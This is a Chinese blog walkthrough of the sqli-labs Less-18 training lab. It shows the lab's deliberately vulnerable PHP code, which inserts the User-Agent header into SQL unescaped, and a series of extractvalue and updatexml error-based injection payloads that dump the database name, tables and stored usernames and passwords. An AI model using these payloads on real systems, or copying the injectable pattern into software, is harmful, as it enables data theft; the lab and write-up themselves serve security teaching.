借用一下sqli-lab Less-18
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-18 Header Injection- Error Based- string</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome <font color="#FF0000"> Dhakkan </font><br></div>
<div align="center" style="margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;">
<div style="padding-top:10px; font-size:15px;">
<!--Form to post the contents -->
<form action="" name="form1" method="post">
<div style="margin-top:15px; height:30px;">Username :
<input type="text" name="uname" value=""/> </div>
<div> Password :
<input type="text" name="passwd" value=""/></div></br>
<div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>
</form>
</div>
</div>
<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "‘" . mysql_real_escape_string($value) . "‘";
}
else
{
$value = intval($value);
}
return $value;
}
$uagent = $_SERVER[‘HTTP_USER_AGENT‘];
$IP = $_SERVER[‘REMOTE_ADDR‘];
echo "<br>";
echo ‘Your IP ADDRESS is: ‘ .$IP;
echo "<br>";
//echo ‘Your User Agent is: ‘ .$uagent;
// take the variables
if(isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘]))
{
$uname = check_input($_POST[‘uname‘]);
$passwd = check_input($_POST[‘passwd‘]);
/*
echo ‘Your Your User name:‘. $uname;
echo "<br>";
echo ‘Your Password:‘. $passwd;
echo "<br>";
echo ‘Your User Agent String:‘. $uagent;
echo "<br>";
echo ‘Your User Agent String:‘. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘User Agent:‘.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo ‘<font color= "#FFFF00" font size = 3 >‘;
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (‘$uagent‘, ‘$IP‘, $uname)";
mysql_query($insert);
//echo ‘Your IP ADDRESS is: ‘ .$IP;
echo "</font>";
//echo "<br>";
echo ‘<font color= "#0000ff" font size = 3 >‘;
echo ‘Your User Agent is: ‘ .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo ‘<img src="../images/flag.jpg" />‘;
echo "<br>";
}
else
{
echo ‘<font color= "#0000ff" font size="3">‘;
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo ‘<img src="../images/slap.jpg" />‘;
echo "</font>";
}
}
?>
</font>
</div>
</body>
</html>
从源代码中我们可以直接看到用户的用户名与密码的获取方式是post，而且在获取之后还经过了check_input函数的处理，所以我们在输入username和password上进行注入是不行的，但是我们在代码中发现了insert，$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES (‘$uagent‘, ‘$IP‘, $uname)";在这里它将useragent和IP的数据插入的数据库中，那么我们是不是可以用这个来进行注入呢？IP地址我们这里修改不是非常方便，但是useragent的修改确实比较方便的，我们可以从useragent入手：我们利用live http headers 进行抓包改包：
利用报错注入
POST /sqli-labs-master/Less-18/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/sqli-labs-master/Less-18/
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
Cookie: 24b16fede9a67c9251d3e7c7161c83ac_ci_session=ils5p93b6rohhin07b46h1s2hmp08gvq
Upgrade-Insecure-Requests: 1
uname=admin&passwd=admin&submit=Submit
查版本
‘ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1‘=‘1
查库
‘ and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘1‘=‘1
查表
‘ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security‘),0x7e)) and ‘1‘=‘1
查所有表
‘ and extractvalue(1,concat(0x7e,(select group_concat( table_name) from information_schema.tables where table_schema=‘security‘),0x7e)) and ‘1‘=‘1
限制查某一个表
‘ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),0x7e)) and ‘1‘=‘1
查询字段内容
‘ and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from security.users ),0x7e)) and ‘1‘=‘1
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。
第三个参数：new_value，String格式，替换查找到的符合条件的数据
mysql CONCAT（）函数用于将多个字符串连接成一个字符串
查询用户：updatexml(1,concat(0x7e,(select user()) ,0x7e),1)–+
查询数据库名称：updatexml(1,concat(0x7e,(select database()) ,0x7e),1)–+
查表：updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=库的16进制 limit 0,1) ,0x7e),1)–+
查列名：updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=库的16进制 and table_name= 0x70675F61646D696E5F636F6E666967 limit 2,1),0x7e),1)–+
查询具体数据：updatexml(1,concat(0x7e,(select email from pg_admin_config limit 0,1),0x7e),1)–+
总结，简单无干扰的报错注入：updatexml(1,concat(0x7e,(普通注入语句),0x7e),1)–+基本就能注出数据了
刚开始学习sql注入，遇见了 select count() from table group by floor(rand(0)2); 这么条语句。在此做个总结。
首先，只要该语句明白了，那么类似select count(),(floor(rand(0)2))x from table group by x;这样的变形语句基本上都可以变通（这里只是起了个别名）。
基本的查询 select 不必多说，剩下的几个关键字有 count 、group by 、floor、rand。
报错法注入----extractvalue、updatexml、floor
原文：https://www.cnblogs.com/Dr-STranger/p/13774235.html